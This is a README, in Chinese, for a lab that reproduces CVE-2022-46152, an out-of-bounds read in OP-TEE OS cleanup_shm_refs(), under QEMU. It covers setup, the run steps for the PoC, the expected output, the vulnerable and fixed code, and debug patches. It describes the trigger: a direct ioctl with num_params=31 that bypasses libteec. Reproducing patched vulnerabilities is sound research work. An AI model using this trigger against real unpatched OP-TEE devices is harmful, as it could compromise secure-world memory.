README.md
Rendering markdown...
# CVE-2022-46152
**OP-TEE OS `cleanup_shm_refs()` 越界读取漏洞复现环境**
> 参考文档:https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
> 安全公告:https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7
---
## 漏洞概述
| 字段 | 内容 |
|------|------|
| 漏洞 | `cleanup_shm_refs()` 未验证 `num_params`(理论可达 127,实际受 Linux TEE ioctl TEE_MAX_ARG_SIZE=1024 限制为 31),但 `saved_attr[]` 仅 4 个元素 |
| 影响版本 | OP-TEE OS < 3.19.0 |
| 触发条件 | Normal World 通过直接 `ioctl` 发送 `num_params=31` 的 INVOKE 请求(绕过 libteec 的 4-参数限制) |
| 后果 | 越界读取安全世界栈数据;若栈残留值匹配 TMEM 类型则触发 Use-After-Free |
| 修复 | `cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...)`(commit 728616b) |
---
## 目录结构
```
CVE-2022-46152/
├── README.md # 本文件
├── setup.sh # 一键搭建环境
├── run_qemu.sh # 启动 QEMU
├── exploit.sh # 自动/手动复现脚本
├── cve-2022-46152-oob-emsg.patch # OP-TEE OS 调试补丁(entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # QEMU 补丁(抑制 pflash_write 噪音日志)
├── poc/
│ ├── cve_2022_46152.c # PoC exploit 源码(直接 ioctl 绕过 libteec)
│ └── Makefile # 交叉编译 Makefile
├── docs/
│ └── vulnerability_analysis.md # 详细漏洞技术分析
└── optee/ # OP-TEE 环境(由 setup.sh 创建)
├── optee_os/ # OP-TEE OS 3.18.0(漏洞版本)
├── build/ # 构建系统(qemu_v8.mk)
├── linux/ # Linux 内核
├── buildroot/ # Buildroot rootfs
├── trusted-firmware-a/ # TF-A v2.6
├── qemu/ # QEMU v7.0.0(源码)
└── out/bin/ # 编译产物
├── bl1.bin # TF-A BL1
├── Image # Linux 内核镜像
└── rootfs.cpio.gz # 包含 PoC 的 rootfs
```
---
## 快速开始
### 1. 前置依赖
```bash
# Ubuntu/Debian
sudo apt-get install -y \
repo git make python3 \
aarch64-linux-gnu-gcc \
device-tree-compiler \
libglib2.0-dev libpixman-1-dev \
netcat-openbsd expect
# 验证
aarch64-linux-gnu-gcc --version
repo --version
```
### 2. 初始化 repo(按照官方文档)
```bash
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..
```
> **注意**:使用 `3.18.0` 标签,此版本包含 CVE-2022-46152 漏洞,尚未应用修复。
### 3. 一键搭建并构建(30-60 分钟)
```bash
./setup.sh
```
该脚本会:
- 执行 `repo sync` 拉取全部源码
- 配置工具链(若 `optee/toolchains/` 已存在则跳过,否则自动下载)
- 执行 `make all` 构建 TF-A、OP-TEE OS 3.18.0、Linux、Buildroot
- 交叉编译 PoC exploit 并注入 rootfs
### 4. 启动 QEMU 环境
```bash
# 打开三个终端:
# 终端1 — 启动 QEMU:
./run_qemu.sh --no-gdb
# 终端2 — Normal World 控制台(等待 run_qemu.sh 启动后再运行):
python3 optee/build/soc_term.py 54320
# 终端3 — Secure World(OP-TEE 日志,等待 run_qemu.sh 启动后再运行):
python3 optee/build/soc_term.py 54321
```
> **说明**:`run_qemu.sh` 会在内部以服务端模式启动 `soc_term.py` 监听 54320/54321,
> QEMU 作为客户端连接。上述命令是连接到已运行实例的示例,一般无需手动执行。
### 5. 复现漏洞
```bash
# 在 Normal World 终端(54320)等待登录提示后:
(none) login: root
# 执行 PoC
/root/cve_2022_46152
```
---
## 预期输出
### Normal World(Linux 控制台)
```
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0
[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3
[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.
[*] Done. Check secure world UART output for OOB/abort evidence.
```
> **注意**:`TEE_MAX_ARG_SIZE=1024` 限制了单次 ioctl 传入最多 31 个参数(libteec 限制为 4)。
> 即便如此,num_params=31 仍足以触发 OOB(读取 saved_attr[4..30],超出边界 27 个元素)。
### Secure World(OP-TEE TEE Core 日志)
```
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!
```
> 加粗警告行 `E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB!` 是通过
> `cve-2022-46152-oob-emsg.patch` 补丁在 `entry_std.c` 中添加的显式日志,
> 用于确认漏洞触发路径。`cleanup_shm_refs` 越界读取栈上 27 个额外元素;
> 若栈残留值匹配 TMEM 类型,可触发 `mobj_put()` Use-After-Free。
---
## 漏洞核心代码对比
### 漏洞版本(3.18.0)
```c
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
uint32_t saved_attr[TEE_NUM_PARAMS]; /* 仅 4 个槽! */
...
res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
if (res != TEE_SUCCESS) {
/* ❌ BUG: num_params 可为 127,越界读 saved_attr[4..126] */
cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
goto out;
}
...
}
```
### 修复版本(3.19.0,commit 728616b)
```c
if (res != TEE_SUCCESS) {
/* ✅ FIX: MIN(4, 127) = 4,不再越界 */
cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
goto out;
}
```
---
## 快捷命令参考
```bash
# 搭建环境
./setup.sh
# 启动 QEMU(带 GDB 调试端口)
./run_qemu.sh
# 启动 QEMU(不等待 GDB)
./run_qemu.sh --no-gdb
# 查看手动复现步骤
./exploit.sh --manual
# 自动化复现(无需额外终端,结果输出到当前 shell)
./exploit.sh
# 连接到 Normal World 控制台(run_qemu.sh 启动后)
python3 optee/build/soc_term.py 54320
# 连接到 Secure World 日志(run_qemu.sh 启动后)
python3 optee/build/soc_term.py 54321
# GDB 调试 OP-TEE OS
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c
```
---
## QEMU 补丁说明
本仓库在 QEMU v7.0.0 基础上应用了补丁 `qemu-pflash-suppress-unimp-log.patch`,
消除运行 VM 时在终端产生的噪音输出:
```
pflash_write: Write to buffer emulation is flawed
```
### 原因
`hw/block/pflash_cfi01.c` 的 `pflash_write()` 在处理 CFI pflash `0xe8`(Write to buffer)命令时,
调用 `qemu_log_mask(LOG_UNIMP, ...)` 记录一条"实现不完整"告警。TF-A 固件在启动过程中会写入
pflash,触发此路径,导致每次启动都打印该信息。
### 补丁内容(`hw/block/pflash_cfi01.c`)
删除 `case 0xe8` 分支内的 `qemu_log_mask(LOG_UNIMP, ...)` 调用,保留功能逻辑不变。
### 应用补丁(可选,已集成到 `optee/qemu/`)
```bash
cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64
```
---
## OP-TEE OS 补丁说明
本仓库在 OP-TEE OS 3.18.0 基础上应用了一个调试补丁 `cve-2022-46152-oob-emsg.patch`,
使漏洞触发时能在 Secure World UART 输出显式告警,便于复现验证。
### 补丁内容(`core/tee/entry_std.c`)
- 添加 `#include <trace.h>`
- 在 `entry_invoke_command()` 中,`cleanup_shm_refs()` 调用前检测 `num_params > TEE_NUM_PARAMS`,
并通过 `EMSG()` 打印 `CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4`
> ⚠️ 此补丁仅用于调试/演示,**不是**安全修复。真正的修复见 commit 728616b。
### 应用补丁(可选,已集成到 `optee/optee_os/`)
```bash
cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os
```
---
## 参考资料
- [OP-TEE QEMU v8 官方文档](https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8)
- [GHSA-65w8-6mrg-52g7 安全公告](https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7)
- [修复提交 728616b](https://github.com/OP-TEE/optee_os/commit/728616b28df659cf0bdde6e58a471f6ef25d023c)
- [CVE-2022-46152 NVD](https://nvd.nist.gov/vuln/detail/CVE-2022-46152)
- [OP-TEE manifest 仓库](https://github.com/OP-TEE/manifest)